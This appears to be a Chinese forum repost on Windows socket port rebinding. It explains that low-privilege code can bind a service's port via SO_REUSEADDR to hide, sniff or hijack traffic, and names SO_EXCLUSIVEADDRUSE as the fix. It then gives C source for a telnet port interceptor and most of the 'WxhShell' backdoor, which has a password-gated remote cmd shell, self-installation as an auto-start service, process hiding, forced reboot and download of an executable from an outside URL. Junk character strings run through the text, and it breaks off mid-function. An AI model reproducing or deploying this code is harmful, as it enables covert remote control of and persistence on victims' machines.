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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J@3, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ln+l'&_nb \[MAa:/ saddr.sin_family = AF_INET; .~]|gg~ ]eL# bJ saddr.sin_addr.s_addr = htonl(INADDR_ANY); RTOA'|[0M fLDrit4_Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !_Lmrs Sc<dxY@w7- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }icCp)b>v '/d51 这意味着什么?意味着可以进行如下的攻击: pj>R9zpn_ qmrT dG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _#8hgwf> aacy5E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pjeNBSu6 sZ `Tv[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0Hnj<| HL 8D*7{Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 q
W(@p` zoq;3a5cqB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eM7@!CdA9q f|d~=\0y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \""^'pP@ Bx?3E^!T 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @v-^j }[p{%:tP #include PgBEe
@. #include '.A!IGsj #include 8`4M4"lj #include DX_mrG DWORD WINAPI ClientThread(LPVOID lpParam); e(c\ U}& int main() _4S^'FDo
{ "hIYf7r## WORD wVersionRequested; $WA wMS, DWORD ret; IiYL2JS;t| WSADATA wsaData; xR+vu>f BOOL val; CoN[Yf3\ SOCKADDR_IN saddr; Al$z.i?R SOCKADDR_IN scaddr; oi #B7 int err; wuqe{? SOCKET s; (NJ{>@& SOCKET sc; LlTD =tJ0 int caddsize; EGu%;[ HANDLE mt; BA;r%?MRL DWORD tid; T.bFB+'E| wVersionRequested = MAKEWORD( 2, 2 ); U8_{MY-9} err = WSAStartup( wVersionRequested, &wsaData ); hRkCB if ( err != 0 ) { |$Yk)z3 printf("error!WSAStartup failed!\n"); sI>w#1.m/& return -1; 0seCQANd } g6M>S1oOO saddr.sin_family = AF_INET; z/7q#~J, 5P,&VB8L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V?mP7 bWFa{W5! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?ANWI8'_j saddr.sin_port = htons(23); ~f<']zXv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ k*]Z8Z { [ 8Ohg printf("error!socket failed!\n"); /!6 'K return -1; 3.&BhLT } Iiy5;:CX:q val = TRUE; 9{Hs1MD[ //SO_REUSEADDR选项就是可以实现端口重绑定的 zJDHDr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -E-#@s { N_Us6X printf("error!setsockopt failed!\n"); G]lGoa}]`u return -1; w2LnY1A } osp~)icun //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k+QGvgP[4@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }">r0v!3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ycr3$n]e VU3RFl if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HE}0_x. { mxlh\'b ret=GetLastError(); +t!]nE# printf("error!bind failed!\n"); y0%@^^-Ru return -1; } z'Jsy[s } De$~ *2 listen(s,2); (5T>`7g8 while(1) 2?,Jn&i5 { m6Dm1'+ caddsize = sizeof(scaddr); /~LE1^1&U //接受连接请求 Fa("Gok[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :6Ri% Nb if(sc!=INVALID_SOCKET) /|EdpHx0 { 4D65VgVDM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1*O|[W if(mt==NULL) 0]d;)_`@ { [YvS#M3T printf("Thread Creat Failed!\n"); M9"Bx/ break; U9
iI2$ } sI,cX#h&Y } gawY{Jr8I CloseHandle(mt); !j!w$ } Y9.3`VX closesocket(s); -}7$;QK&a WSACleanup(); dL42)HP5 return 0; {"o9pIh{~ } *@rA7zPFf DWORD WINAPI ClientThread(LPVOID lpParam) ]d*9@+Iu { oW~W(h! SOCKET ss = (SOCKET)lpParam;
Zkp~qx SOCKET sc; pGie!2T E unsigned char buf[4096]; `KQx#c>' SOCKADDR_IN saddr; jg$qp%7i% long num; 86#l$QaK{ DWORD val; ^".OMS"! DWORD ret; & SXw=;B //如果是隐藏端口应用的话,可以在此处加一些判断 rm-d),Zt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 M=,pn+}y> saddr.sin_family = AF_INET; -2.7Z`*( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VEps|d3,, saddr.sin_port = htons(23); |\(uO|)ju if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a`wjZ"}'[ { kpgvAKyx printf("error!socket failed!\n"); _S9)<RVI+ return -1; 3lF"nv } (cj9xROx val = 100; 6Zi{gx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) juEPUsE { Q<sqlh!h ret = GetLastError(); J2O,wb)U return -1; KjGu !B } a>j}@8[J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]B/>=t"E { _H$Lu4b)N ret = GetLastError(); hjL;B'IL return -1; hBU)gP75 } w =GMQ8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'z}
t= ? { 0U=wGIO printf("error!socket connect failed!\n"); gWj-@o\ closesocket(sc); /WQ.,a closesocket(ss); "#C2+SKM1 return -1; 3Gs\Q{O: } 3?o4 while(1) KVZB`c$<t { R3B+vLGX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qO{z{@jo55 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ` GF w?G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P<pv@l9) num = recv(ss,buf,4096,0); ~b_DFj if(num>0) =j>xu|q send(sc,buf,num,0); x80IS:TP else if(num==0) %+*=Vr break; VR(R. num = recv(sc,buf,4096,0); 'i+L if(num>0) |=;hQ2HyF send(ss,buf,num,0); PVb[E 03 else if(num==0) 0F[f%2j break; sq$v6x sl } DI\=udN closesocket(ss); 3)G~ud closesocket(sc); wfo, r 7 return 0 ; Xs2}n^#i } oSCaP,P )oIh?-WL U[wx){[| ========================================================== @^| [J
_4 iil<zEic 下边附上一个代码,,WXhSHELL &%OY"Y~bI! y% bIO6u: ========================================================== 4c5BlD wnS,Jl #include "stdafx.h" &=lc]sk }`qAb/Ov #include <stdio.h> ;,bgJgK #include <string.h> oC5h-4~ #include <windows.h> @7 Ry{,A #include <winsock2.h> _a$qsY #include <winsvc.h> ^xe+(83S2? #include <urlmon.h> @!`__>K T;6M UmyC #pragma comment (lib, "Ws2_32.lib") ?.e,NHf #pragma comment (lib, "urlmon.lib") t/;2rIx> v@qP &4Sp #define MAX_USER 100 // 最大客户端连接数 !!C/($ #define BUF_SOCK 200 // sock buffer 8}|et~7! #define KEY_BUFF 255 // 输入 buffer f~VlCdf+ b,'O|s]"Sc #define REBOOT 0 // 重启 9q'&tU'a=c #define SHUTDOWN 1 // 关机 SwOW%o x;~:p;]J2F #define DEF_PORT 5000 // 监听端口 UWT%0t_T o]1BWwtY& #define REG_LEN 16 // 注册表键长度 a7g;8t-& #define SVC_LEN 80 // NT服务名长度 $INB_/RE :a }](Wn // 从dll定义API jR%*,IeB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gG?@_ie typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7P1Pk?pxy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GRcPzneiz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x7S\-<8 zj7ta[<tr // wxhshell配置信息 V,-we|" struct WSCFG { x3y+=aj int ws_port; // 监听端口 Tz1^"tx9 char ws_passstr[REG_LEN]; // 口令 }Ulxt:} int ws_autoins; // 安装标记, 1=yes 0=no _[HZ[ 9c! char ws_regname[REG_LEN]; // 注册表键名 L-|l$Ti" char ws_svcname[REG_LEN]; // 服务名 @:>]jp}uq char ws_svcdisp[SVC_LEN]; // 服务显示名 IR-n:z char ws_svcdesc[SVC_LEN]; // 服务描述信息 I !hh_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l5D)UO int ws_downexe; // 下载执行标记, 1=yes 0=no ,iV%{*p] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" @f-:C+(Nsg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4p"' ox# "<iH8MzZ }; *qzdt^[ xo zxn|]PbS // default Wxhshell configuration .~i|kc]Ue struct WSCFG wscfg={DEF_PORT, Go%Z^pF3CO "xuhuanlingzhe", VM$n|[C~ 1, AYn65Ly "Wxhshell", Fx^wV^q3 "Wxhshell", YPGM|| "WxhShell Service", )Q1>j 2& "Wrsky Windows CmdShell Service", 9tHK_),9 "Please Input Your Password: ", |0[Buh[_:c 1, ~$y"Ldrp " http://www.wrsky.com/wxhshell.exe", AQ)gj$
m3 "Wxhshell.exe" 6=f)3!= }; =+iY<~8 cO
J`^^P // 消息定义模块 d6MWgg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QoYEWXT|g char *msg_ws_prompt="\n\r? for help\n\r#>"; cC-8.2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; AlQhKL}|s char *msg_ws_ext="\n\rExit."; Kn^+kHh: char *msg_ws_end="\n\rQuit."; W1REF9i){ char *msg_ws_boot="\n\rReboot..."; ]Q"T8drL char *msg_ws_poff="\n\rShutdown..."; {T8;-H0H char *msg_ws_down="\n\rSave to "; SW9
C
8Q {b!{~q char *msg_ws_err="\n\rErr!"; [QnN1k char *msg_ws_ok="\n\rOK!"; "W(D0oy g}W`LIasv char ExeFile[MAX_PATH]; E+\?ptw int nUser = 0; W]po RTJ: HANDLE handles[MAX_USER]; `0Udg,KOs int OsIsNt; b<tV>d"Fv <D|&)/# SERVICE_STATUS serviceStatus; Kg6J:HD49 SERVICE_STATUS_HANDLE hServiceStatusHandle; 9VW/Af ,[;O'g?,g // 函数声明 |.@!CqJ int Install(void); ZXx1S?u int Uninstall(void); :Q`Of}# int DownloadFile(char *sURL, SOCKET wsh); Q+Bl1xl int Boot(int flag); E
ASnh void HideProc(void); JSB+g; int GetOsVer(void); boojq{cvYA int Wxhshell(SOCKET wsl); 3H,x4L5j void TalkWithClient(void *cs); ] hT\"5&6 int CmdShell(SOCKET sock); 5M>h[Q"R int StartFromService(void); j-9)Sijj{ int StartWxhshell(LPSTR lpCmdLine); -@XSDfy7S pN^g. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #aX#gh}1
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z1,rN#p9 nL?P/ \ // 数据结构和表定义 Gi)Vr\Q. SERVICE_TABLE_ENTRY DispatchTable[] = "lt <$. { |"}rdOV) {wscfg.ws_svcname, NTServiceMain}, iDDJJ>F26 {NULL, NULL} 1WtE ]
D }; f9#zV2ke] &h/r]KrZ // 自我安装 `dm*vd int Install(void) OkC.e')Vx { vhF9|('G char svExeFile[MAX_PATH]; +JI,6)Ry HKEY key; fd4gB6> strcpy(svExeFile,ExeFile); B :%Vq2` 43k'96[2d // 如果是win9x系统,修改注册表设为自启动 SA'g` if(!OsIsNt) { ug,AvHEnB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i@9
qp?eb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 45 ^ Z5t RegCloseKey(key); gs1yWnSv5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A
l;a~45 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8)S)!2_h RegCloseKey(key); ^$'{:i return 0; ;?{^LiD+F } +2{ f>KZ } rfonM~3?' } - ;gQy[U else { '=;e#
C`<{ `i.fm1I] // 如果是NT以上系统,安装为系统服务 W_@ b. 1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @A6iY if (schSCManager!=0) pJFn
8&!J { `!cdxKLR SC_HANDLE schService = CreateService #;8)UNc)} ( 9 &r]k8K schSCManager, }36A eJ7L wscfg.ws_svcname, 4Wgzp51Aq! wscfg.ws_svcdisp, 9"^ib9M SERVICE_ALL_ACCESS, U LS>v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B!mHO*g SERVICE_AUTO_START, J3y_JoS SERVICE_ERROR_NORMAL, uNI&U7_" svExeFile, $Z;8@O3 NULL, V(Pw|u"
e NULL, +7%?p"gEY\ NULL, o<A-ETx< NULL, _1?u AQ3, NULL T"P}` mT ); ~U w<e~ if (schService!=0) oQ,n?on { ]0'cdC CloseServiceHandle(schService); r??_2>Q CloseServiceHandle(schSCManager); jUE:QOfRib strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >h8m8J strcat(svExeFile,wscfg.ws_svcname); J,,VKA& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AO`@&e]o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XcNL\fl1 RegCloseKey(key); "<|KR{/+ return 0; |-6`S1. } T%.Yso{ } DSHvBFQ CloseServiceHandle(schSCManager); ;q'-<O } D,=~7/g } 8\;, d NUM!'+H_h return 1; 5$+7Q$Gw } 7Wef[N\x o`,}b1lh // 自我卸载 *i*\dl int Uninstall(void) 0fstEExw { lO\HchGzB HKEY key; WCd:(8B +E9G"Z65iP if(!OsIsNt) { &M5v EPR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,W+=N"`a' RegDeleteValue(key,wscfg.ws_regname); ,l AZ4 RegCloseKey(key);
gwIR3u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qy?$t:*pp RegDeleteValue(key,wscfg.ws_regname); \V 'fB5 RegCloseKey(key); VEa"^{,w return 0; :C^{Lc } [BdRx` } ?IeBo8 } t$qIJt$ else { PJ:!O?KVq '9]?jkl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VS4Glx73 if (schSCManager!=0) {QG6ldI { %wl:>9] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dSjO12b if (schService!=0) 7_3 6xpw { gHh(QRA if(DeleteService(schService)!=0) { RCa1S^. CloseServiceHandle(schService); e\ (X:T CloseServiceHandle(schSCManager); kt`ln return 0; tWl')^ } P_jav0j7g CloseServiceHandle(schService); \="U|LzG } :BR_%$ CloseServiceHandle(schSCManager); O6e$v I@ } J|jvqt9C } Gfx!.[Y
\$Ky AWrZi return 1; DMA7eZf'Hv } %npLgCF ({Yfsf, // 从指定url下载文件 O_s/BoB@ int DownloadFile(char *sURL, SOCKET wsh) %gn@B2z { Xqe Qj}2kA HRESULT hr; Y\<w|LkD8 char seps[]= "/"; U5ph4G char *token; "<Di char *file; C<C^7-5 char myURL[MAX_PATH]; QNE/SSL char myFILE[MAX_PATH]; w)K547!00 lNc0znY strcpy(myURL,sURL); PC"=B[OlJ token=strtok(myURL,seps); =ZoNkj/^, while(token!=NULL) D$KP>G { | J'k9W" file=token; q%bFR[p<* token=strtok(NULL,seps); (Of`VT3ZOA } $#%R_G] p4O[X\T GetCurrentDirectory(MAX_PATH,myFILE); nQ'NS strcat(myFILE, "\\"); x]Nx,tt strcat(myFILE, file); 2OI 0B\ send(wsh,myFILE,strlen(myFILE),0); 0 -M i
q send(wsh,"...",3,0); xc'uCbH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VWd`06'BN' if(hr==S_OK) 9T2_2 return 0; f@9XSZ<.71 else 1Q^u#m3 return 1; F~fN7<9R Ht43G_.j } }X])055S LIJ#nb // 系统电源模块 !iHC++D int Boot(int flag) 'rXf { N? S;v&q+ HANDLE hToken; 'G[G;?F TOKEN_PRIVILEGES tkp; H{_D#It ~U7Bo(EJp if(OsIsNt) { O)R}| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y]~-S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;j~%11 tkp.PrivilegeCount = 1; +p _?ekV\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EBWM8~Nm# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _8SB+s* if(flag==REBOOT) { {{bwmNv" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IrRe6nf@K return 0; F`F|.TX } Y1AZ%{^0a else { 7uUq+dp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +F,])p4,]i return 0; i,;a( Sy4 } SG~HzQ\% } TXd6o= else { D'moy*E if(flag==REBOOT) { rkh%[o9"/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .`u8(S+ return 0; F&CvqPI } ZJFF4($qN else { >^W6'Q$P< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vEG7A$Z" return 0; c9@3=6S/ } #u"@q< ) } FP y}Wc*UA 6]GHCyo return 1; st.{AEv@ } (-;(wCEE L>Ze*dt // win9x进程隐藏模块 6o]{< T/' void HideProc(void) ',|OoxhbK { Ma{@b$> -d2) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7Kj7or| if ( hKernel != NULL ) 7On.y* { $t6t 6<M) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SY.koW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g@t..xJ, FreeLibrary(hKernel); B4zuWCE@ } ]m&Ss ?|`n&HrP return; PxWH)4 } &eO.h%@ +|<bb8% // 获取操作系统版本 -)&lsFF int GetOsVer(void) G&Yo2aADR { } nIYNeP?D OSVERSIONINFO winfo; L*p7|rq$" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x~IrqdmW GetVersionEx(&winfo); .4w"3> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p_zVrlVb return 1; V%t_,AT else I@Yk &aU return 0; B"88 .U}$ } iYdg1 ;$ ]a.9
- // 客户端句柄模块 Hit)mwfYE int Wxhshell(SOCKET wsl) /r&4< @ { -J'ked SOCKET wsh; pp#!sRUKPV struct sockaddr_in client; 8t7r^[T DWORD myID; &liFUP?
1Qjc*+JzO. while(nUser<MAX_USER) K0@bh/i/^ { @QYCoEU8J int nSize=sizeof(client); $QT% -9& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E+ XR[p if(wsh==INVALID_SOCKET) return 1; 7bVKH[ u^2/:L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :.{d,)G if(handles[nUser]==0) @.dM1DN) closesocket(wsh); }lq$Fi/ else WhFE{-!gX nUser++; OzH\YN } PVN`k, 4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3UQBIrQ l Ny<E!0 return 0; n c.P } xvWP^Qkb ,WoB)V.{( // 关闭 socket "79b> void CloseIt(SOCKET wsh) }`2+`w%uZ { az}zoFl closesocket(wsh); ?<OyJ|;V nUser--; rc`I l{~k ExitThread(0); !0Ak)Q]e' } a_D K"8I `sv]/8RN // 客户端请求句柄 ZXbq5p_ void TalkWithClient(void *cs) b+dmJ]c { HR ?H{?jJj$H SOCKET wsh=(SOCKET)cs; ds2xl7jg char pwd[SVC_LEN]; gxVJH'[V5 char cmd[KEY_BUFF]; e9CvdR char chr[1]; qr*e9Uk^ int i,j; HuxvIg ,[_)BM while (nUser < MAX_USER) { daf-B- ,z((?h,nm if(wscfg.ws_passstr) { Idj Z2)$
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zR=g<e1xe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bDegIW/'w //ZeroMemory(pwd,KEY_BUFF); O`~L*h_ i=0; S!iDPl~ while(i<SVC_LEN) { #
?u
bvSdU rd X; // 设置超时 o
7V&HJ[ fd_set FdRead; 5["n] i struct timeval TimeOut; ((BdT:T\_ FD_ZERO(&FdRead); pC&i!la{o} FD_SET(wsh,&FdRead); 4i29nq^n TimeOut.tv_sec=8; ,M\/[_: TimeOut.tv_usec=0; dVJ9cJ9^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lk)TK/JM) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +xr;X 9 1aUu:#c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I
wu^@ pwd =chr[0]; LsK
fCB} if(chr[0]==0xd || chr[0]==0xa) { m
.En!~t pwd=0; (d[JMO^@8 break; `K2vG`c } fKs3H?| i++; CZCVC (/u } grDz7\i: z-nV!# // 如果是非法用户,关闭 socket /DSy/p0% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RS7J~Q } Vl:M6d1 (g tOYEqx send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <.@w%rvG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sh<A936/E (B].ppBii while(1) { hLyV'*} 8PGuZw< ZeroMemory(cmd,KEY_BUFF); ;s-fYS6(>{ !Ome;gS) // 自动支持客户端 telnet标准 \JF 2'm\M j=0; ><)fK5x while(j<KEY_BUFF) { ?bG82@- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j2 #B l cmd[j]=chr[0]; bWB&8&p if(chr[0]==0xa || chr[0]==0xd) { 49B6|!&I cmd[j]=0; .R@euIva break; 3TKl } EmV ZqW j++; 9lX+?m~ ~ } (=s%>lW| ,0n=*o@W // 下载文件 u z:@ if(strstr(cmd,"http://")) { zOL*XZ0c send(wsh,msg_ws_down,strlen(msg_ws_down),0); NV3oJ0f&2 if(DownloadFile(cmd,wsh)) #@L<<Q8} send(wsh,msg_ws_err,strlen(msg_ws_err),0);
t`x_@pr else e/IVZmUn^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2-wgbC5 } Uetna!ABB else { Sr6?^>A@t bB.Yq3KI switch(cmd[0]) { DJH,#re> l{3ZN"`I // 帮助 jTok1k case '?': { l @r`NFWD@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N*Xl0m(Q break; A)f/ww)Q } 1h?:gOig // 安装 A)TO<dl case 'i': { }ev+WIERQV if(Install()) #U/L8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @<p9O0 else "(E%JAwZ^W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2!Pwg0%2 break; 2{)<Df@ } V5d|Lpm // 卸载 `b[@GGv case 'r': { :,MI,SwnS if(Uninstall()) <Ow+LJWQK send(wsh,msg_ws_err,strlen(msg_ws_err),0); vg[zRWh8 else O u{|o0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j(Tk6S break; ?h ym~, } +D#.u^ // 显示 wxhshell 所在路径 8X=2# &) case 'p': { "I45=nf char svExeFile[MAX_PATH]; 9h^TOZK) strcpy(svExeFile,"\n\r"); g);.".@" strcat(svExeFile,ExeFile); $s5D/60nO send(wsh,svExeFile,strlen(svExeFile),0); <D(|}5qR break; ~fly6j|u } ltmD=-]G_ // 重启 cN#f$ case 'b': { 9B1bq # send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [AAIBb+U if(Boot(REBOOT)) @S Quc send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0/^v* else { <+;
cgF!+ closesocket(wsh); 78u=J z6 ExitThread(0); $
4A!Y } T`| >oX break; is=|rY9$ } )yv~wi // 关机 >4AwjS}H case 'd': { coc:$Sr% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O9MBQNwjA if(Boot(SHUTDOWN)) z%WOv~8~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `k'Dm:*`u4 else { AG,;1b,:81 closesocket(wsh); Kl+4A}Uo ExitThread(0); dY]iAJ } b]5S9^=LI break; '5SO3/{b } %Z#[{yuFs // 获取shell D$bJ s O case 's': { <e' l"3+9( CmdShell(wsh); vTYgWR,h closesocket(wsh); }{
"RgT-qG ExitThread(0); \E2S/1p break; K/XUF#^B] } 3x~AaC.j // 退出 15`,kJSK case 'x': { }zV#?;} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VufG7%S{ CloseIt(wsh); .[X"+i\ break; Xw9"wAj } |:d:uj/ // 离开 mi{ r7.e5I case 'q': { JWs?az send(wsh,msg_ws_end,strlen(msg_ws_end),0); W|[k]A` 2
closesocket(wsh); sh8(+hg WSACleanup(); T1~,.(# exit(1); u=p-]? break; kn7Qvk[+ } e!*%U=[Q } u:O6MO9^ } jj"?#`cW U-:_4[ // 提示信息 v@E/?\k" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |oJ R+
} _<G% } |m>n4-5QL "]{"4qV1= return; 8\ WOss)al } ^Dhu8C( G,b1 u" // shell模块句柄 vE+OL8 V int CmdShell(SOCKET sock) $;%dQ!7* { QCk(qlN'h9 STARTUPINFO si; Z8 _QKw> ZeroMemory(&si,sizeof(si)); f@= lK?Pfh si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IpMZ{kJlv` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _7 9 ?,U] PROCESS_INFORMATION ProcessInfo; Y=N; Bj char cmdline[]="cmd"; <E&"] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k34!*(`q return 0; qfzT8-Y } db.E-@W.OI s|=.L&" // 自身启动模式 B[Fuy y? int StartFromService(void) eFeWjB'<7 { Ayi
Uz typedef struct az ?2 { $C !Mk DWORD ExitStatus; Eq?d+s> DWORD PebBaseAddress; dd%-bI^ DWORD AffinityMask; }D&fw=r"M DWORD BasePriority; 6
